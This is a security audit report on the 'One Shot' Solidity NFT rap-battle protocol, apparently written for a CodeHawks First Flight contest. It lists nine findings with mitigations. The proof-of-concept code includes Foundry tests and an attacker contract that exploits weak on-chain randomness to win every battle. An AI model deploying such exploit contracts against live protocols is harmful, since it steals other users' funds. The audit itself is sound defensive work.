First Flight One Shot Report

Version 0.1

March 7, 2024

Protocol Audit Report

amaqkkg

February 23, 2024

Prepared by: amaqkkg

Lead Auditors:

- amaqkkg

Table of Contents

    * [H-2] The `RapBattle::goOnStageOrBattle` function is missing check for sufficient `_credBet_` in possesion, making it possible for challenger with 0 CRED to call `goOnStageOrBattle` and challenge the defender
    * [H-3] Weak randomness used in `RapBattle::_battle` function, making it possible to predict the outcome and taking advantage to the challenger have 100% winrate
  - Low
    * [L-1] `OneShot::rapperStats` mapping have Struct element that never used or updated `RapperStats.battlesWon`
    * [L-2] Inconsistent logic used in `RapBattle` Battle event emitter, causing loser to be winner emitted off-chain
    * [L-3] In `RapBattle::goOnStageOrBattle` function, defender can challenge themself
  - Informational
    * [I-1] No check for zero address when assign contract instance
    * [I-2]: Functions not used internally could be marked external
    * [I-3]: Mapping `rapperStats` in `OneShot` contract can be marked as private because its already have getter function in the contract

Protocol Summary

When opportunity knocks, you gunna answer it? One Shot lets a user mint a rapper NFT, have it gain experience in the streets (staking) and Rap Battle against other NFTs for Cred.

Disclaimer

The amaqkkg team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
47f820dfe0ffde32f5c713bbe112ab6566435bf7
```

Scope

```
./src
#-- CredToken.sol
#-- OneShot.sol
#-- RapBattle.sol
#-- Streets.sol
```

Roles

User - Should be able to mint a rapper, stake and unstake their rapper and go on stage/battle

Executive Summary

Codehawks first flight - one shot.

Issues found

Severity	Number of issues found
High	3
Medium	0
Low	3
Info	3
Total	9

Findings

High

[H-1] The `RapBattle::goOnStageOrBattle` function is missing check for the `_tokenId` provided actually owned by the `msg.sender`, making its possible for challenger to use any Rapper NFT

Description: for defender rapper perspective it is not needed to check if the `msg.sender` have the `_tokenId` provided because at the end of function call the required NFT is sent out to the contract. But for the challenger, they can use any `_tokenId` as it does not have check if the challenger actually own the NFT.

Impact: defender role have great disadvantage for winning because challenger can use any `_tokenId` with high skill and make higher chance of winning

Proof of Concept:

1. Alice mint `_tokenId = 0`
2. Alice call `goOnStageOrBattle` function and got the defender role
3. Bob mint `_tokenId = 1`
4. Bob call `Streets::stake` function for 4 days then `unstake` his NFT rapper
5. Slim Shady call `goOnStageOrBattle` using Bob's high skilled rapper `_tokenId = 1`
6. Alice have high chance of losing

Proof of Code

add this to the `OneShotTest.t.sol`:

```
    function testBattleUsingOthersNFT(uint256 randomBlock) public {
        address bob = makeAddr("bob");

        // Alice the Defender
        vm.startPrank(user);
        oneShot.mintRapper(); // _tokenId = 0
        oneShot.approve(address(rapBattle), 0);
        rapBattle.goOnStageOrBattle(0, 0);
        vm.stopPrank();

        // Bob the Staker
        vm.startPrank(bob);
        oneShot.mintRapper(); // _tokenId = 1
        oneShot.approve(address(streets), 1);
        streets.stake(1);
        vm.warp(4 days + 1);
        streets.unstake(1);
        vm.stopPrank();

        // Slim Shady the Challenger, he does not have any NFT
        vm.startPrank(challenger);
        // Change the block number so we get different RNG
        vm.roll(randomBlock);
        vm.recordLogs();
        rapBattle.goOnStageOrBattle(1, 0);
        vm.stopPrank();

        Vm.Log[] memory entries = vm.getRecordedLogs();
        // Convert the event bytes32 objects -> address
        address winner = address(uint160(uint256(entries[0].topics[2]))
            );
        console.log("[*] the winner is", winner);
        assert(address(challenger) == winner);
    }
```

The test result indicate that Slim Shady the Challenger wins even though he using Bob NFT

Recommended Mitigation: Make sure that `RapBattle::goOnStageOrBattle` check if the `msg.sender` actually own the `_tokenId` used.

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet)
        external {
+       require(msg.sender == oneShotNft.ownerOf(_tokenId), "Sender not
    the token Id owner");
        if (defender == address(0)) {
            defender = msg.sender;
```

[H-2] The `RapBattle::goOnStageOrBattle` function is missing check for sufficient `_credBet_` in possesion, making it possible for challenger with 0 CRED to call `goOnStageOrBattle` and challenge the defender

Description: only the defender require to sent `_credBet` amount of CRED to the contract and combined with the missing check, challenger with 0 CRED can win the bet or revert when lose

Impact: defender role can lose their bet but challenger can have nothing to lose, making it unfair

Proof of Concept:

1. Alice mint `_tokenId = 0`
2. Alice stake using `Streets::stake` for `1 days` and got 1 CRED
3. Alice call `goOnStageOrBattle` with `_credBet` set to 1 and got the defender role
4. Slim Shady mint `_tokenId = 1`
5. Slim Shady call `goOnStageOrBattle` function and got the challenger role
6. The scenario is:
    1. Slim Shady lose -> `goOnStageOrBattle` is reverted because insufficient balance
    2. Slim Shady won -> Slim Shady got 1 CRED, Alice lose 1 CRED

Proof of Code

add this to the `OneShotTest.t.sol`:

```
    function testBattleWithInsufficientCred(uint256 randomBlock) public
        {
        // Alice the Defender
        vm.startPrank(user);
        oneShot.mintRapper(); // _tokenId = 0
        oneShot.approve(address(streets), 0);
        streets.stake(0);

        vm.warp(1 days + 1);
        streets.unstake(0);
        oneShot.approve(address(rapBattle), 0);
        cred.approve(address(rapBattle), 1);
        rapBattle.goOnStageOrBattle(0, 1);
        vm.stopPrank();

        // Slim Shady the Challenger
        vm.startPrank(challenger);
        oneShot.mintRapper(); // _tokenId = 1
        oneShot.approve(address(rapBattle), 1);
        cred.approve(address(rapBattle), 1);

        vm.roll(randomBlock);
        vm.recordLogs();
        rapBattle.goOnStageOrBattle(1, 1);
        vm.stopPrank();

        Vm.Log[] memory entries = vm.getRecordedLogs();
        // Convert the event bytes32 objects -> address
        address winner = address(uint160(uint256(entries[0].topics[2])));
        if (winner == address(challenger)) {
            console.log("[*] Slim Shady is winning the bet!");
        } else console.log("[!] transaction revert");
        assert(cred.balanceOf(winner) == 1);
    }
```

Recommended Mitigation: Make sure that `RapBattle::goOnStageOrBattle` check if the `msg.sender` actually have sufficient CRED balance equal or greater than `_credBet`. Uncomment the line of code where CRED is transferred from challenger to the contract, and adjust the logic for transfering `totalPrize` to winner.

`RapBattle::goOnStageOrBattle`

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+       require(credToken.balanceOf(msg.sender) >= _credBet, "Insufficient CRED balance");
        if (defender == address(0)) {
            defender = msg.sender;
.
.
.
        } else {
-           // credToken.transferFrom(msg.sender, address(this), _credBet);
+           credToken.transferFrom(msg.sender, address(this), _credBet);
            _battle(_tokenId, _credBet);
        }
```

`RapBattle::_battle`

```
        if (random <= defenderRapperSkill) {
-           // We give them the money the defender deposited, and the challenger's bet
-           credToken.transfer(_defender, defenderBet);
+           credToken.transfer(_defender, totalPrize);
-           credToken.transferFrom(msg.sender, _defender, _credBet);
        } else {
-           // Otherwise, since the challenger never sent us the money, we just give the money in the contract
-           credToken.transfer(msg.sender, _credBet);
+           credToken.transfer(msg.sender, totalPrize);
```

```
        }
        totalPrize = 0;
```

[H-3] Weak randomness used in `RapBattle::_battle` function, making it possible to predict the outcome and taking advantage to the challenger have 100% winrate

Description: weak randomness by hashing `block.timestamp`, `block.prevrandao`, `msg.sender` is easily calculated and can make the challenger always win

Impact: unfairness for the defender role, making it not really worth to become a defender

Proof of Concept:

1. Alice mint `_tokenId = 0`
2. Alice stake using `Streets::stake` for 4 `days` and got 4 CRED
3. Alice call `goOnStageOrBattle` with `_credBet` set to 1 and got the defender role
4. Slim Shady mint `_tokenId = 1`
5. Slim Shady calculate the value of `random` and when its preferable, call `goOnStageOrBattle` function and win. if not, do not call the function.

Proof of Code

Add this contract to `test`/ folder:

RapBattleAttack.sol:

```
// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IRapBattle {
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet)
        external;

    function getRapperSkill(
        uint256 _tokenId
    ) external view returns (uint256 finalSkill);

    function defenderBet() external returns (uint256);

    function defenderTokenId() external returns (uint256);
}

interface IStreets {
    function stake(uint256 tokenId) external;

    function unstake(uint256 tokenId) external;
}

interface IOneShot {
    function mintRapper() external;

    function approve(address to, uint256 tokenId) external;
}

interface ICredToken {
    function approve(address to, uint256 amount) external;
}

contract RapBattleAttack {
    IRapBattle rapBattle;
    IStreets streets;
    IOneShot oneShot;
    ICredToken credToken;

    constructor(
        address _rapBattle,
        address _streets,
        address _oneShot,
        address _credToken
    ) {
        rapBattle = IRapBattle(_rapBattle);
        streets = IStreets(_streets);
        oneShot = IOneShot(_oneShot);
        credToken = ICredToken(_credToken);
    }

    function mint() external {
        oneShot.mintRapper();
    }

    function stake(uint256 tokenId) external {
        oneShot.approve(address(rapBattle), tokenId);
        streets.stake(tokenId);
    }

    function unstake(uint256 tokenId) external {
        streets.unstake(tokenId);
    }

    function attack(uint256 _tokenId) external returns (bool) {
        uint256 _credBet = rapBattle.defenderBet();
        uint256 defenderRapperSkill = rapBattle.getRapperSkill(
            rapBattle.defenderTokenId()
        );
        uint256 challengerRapperSkill = rapBattle.getRapperSkill(
            _tokenId);
        uint256 totalBattleSkill = defenderRapperSkill +
            challengerRapperSkill;
        uint256 random = uint256(
            keccak256(
                abi.encodePacked(
                    block.timestamp,
                    block.prevrandao,
                    address(this)
                )
            )
        ) % totalBattleSkill;

        if (random > defenderRapperSkill) {
            rapBattle.goOnStageOrBattle(_tokenId, _credBet);
            return true;
        } else revert();
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}
```

Import `RapBattleAttack.sol` to `OneShotTest.t.sol`

```
import { RapBattleAttack } from "./RapBattleAttack.sol";
```

Add this test to `OneShotTest.t.sol`

```
    function testRapBattleAttack4ConsecutiveWin() public mintRapper {
        RapBattleAttack attack;
        attack = new RapBattleAttack(
            address(rapBattle),
            address(streets),
            address(oneShot),
            address(cred)
        );

        // Alice stake 4 days
        vm.startPrank(user);
        cred.approve(address(rapBattle), 10);
        oneShot.approve(address(streets), 0);
        streets.stake(0);
        // get 8 CRED
        vm.warp(4 days + 1);
        streets.unstake(0);
        vm.stopPrank();

        // Challenger preparing RapBattleAttack contract
        vm.startPrank(challenger);
        attack.mint();
        // this step can be commented assuming code still not check
           challenger CRED
        // attack.stake(1);
        // vm.warp(1 days + 1);
        // attack.unstake(1);
        vm.stopPrank();
        uint256 consecutiveWin;
        uint256 credBet = 1;

        // scenario when Alice became defender and attacked using weak
           randomness
        while (consecutiveWin != 4) {
            vm.startPrank(user);
            oneShot.approve(address(rapBattle), 0);
            rapBattle.goOnStageOrBattle(0, credBet);
            vm.stopPrank();
            vm.startPrank(challenger);
            if (attack.attack(1) == true) {
                ++consecutiveWin;
            }
        }
        assert(cred.balanceOf(address(attack)) == 4);
    }
```

Recommended Mitigation: Consider using cryptographically provable random number generator such as ChainLink VRF.

Low

[L-1] `OneShot::rapperStats` mapping have Struct element that never used or updated `RapperStats.battlesWon`

Recommended Mitigation: Implement the `battlesWon` thats get updated with every winning battle, making the protocol interesting with leaderboard.

[L-2] Inconsistent logic used in `RapBattle` Battle event emitter, causing loser to be winner emitted off-chain

Description: there are different logic used between event emitter `Battle` and logic function for choosing winner:

RapBattle.sol

```
@>      emit Battle(msg.sender, _tokenId, random < defenderRapperSkill
    ? _defender : msg.sender);
.
.
.
        // If random <= defenderRapperSkill -> defenderRapperSkill wins
            , otherwise they lose
@>      if (random <= defenderRapperSkill) {
```

Impact: if the `random` value is equal to `defenderRapperSkill`, there would be 2 winner:

- offchain winner : challenger
- onchain winner : defender

Recommended Mitigation: use consistent logic for emitted event and function logic. Below are example of using the function logic and correcting the emitted event:

RapBattle.sol

```
-       emit Battle(msg.sender, _tokenId, random < defenderRapperSkill
    ? _defender : msg.sender);
+       emit Battle(msg.sender, _tokenId, random <= defenderRapperSkill
     ? _defender : msg.sender);
.
.
.
        // If random <= defenderRapperSkill -> defenderRapperSkill wins
            , otherwise they lose
        if (random <= defenderRapperSkill) {
```

[L-3] In `RapBattle::goOnStageOrBattle` function, defender can challenge themself

Description: Defender can challenge themself because there are no check if the defender is not the challenger

Recommended Mitigation: Consider adding `msg.sender` check to the `goOnStageOrBattle`

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet)
        external {
```

```
+       require(defender != msg.sender, "cannot challenge yourself");
        if (defender == address(0)) {
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;
```

Informational

[I-1] No check for zero address when assign contract instance

- Found in src/CredToken.sol

```
    function setStreetsContract(address streetsContract) public
        onlyOwner {
    _streetsContract = Streets(streetsContract);
}
```

- Found in src/OneShot.sol

```
    function setStreetsContract(address streetsContract) public
        onlyOwner {
    _streetsContract = Streets(streetsContract);
}
```

- Found in src/Streets.sol

```
    constructor(address _oneShotContract, address
        _credibilityContract) {
        oneShotContract = IOneShot(_oneShotContract);
        credContract = Credibility(_credibilityContract);
    }
```

[I-2]: Functions not used internally could be marked external

- Found in src/CredToken.sol

```
    function setStreetsContract(address streetsContract) public
        onlyOwner {

    function mint(address to, uint256 amount) public
        onlyStreetContract {
```

- Found in src/OneShot.sol

```
    function setStreetsContract(address streetsContract) public
        onlyOwner {
```

```
.
.
.
    function mintRapper() public {
.
.
.
    function updateRapperStats( ... ) public onlyStreetContract {
.
.
.
    function getRapperStats(uint256 tokenId) public view returns (
        RapperStats memory) {
.
.
.
    function getNextTokenId() public view returns (uint256) {
```

[I-3]: Mapping `rapperStats` in `OneShot` contract can be marked as private because its already have getter function in the contract

```
-   mapping(uint256 => RapperStats) public rapperStats;
+   mapping(uint256 => RapperStats) private rapperStats;
.
.
.
    function getRapperStats(uint256 tokenId) public view returns (
        RapperStats memory) {
```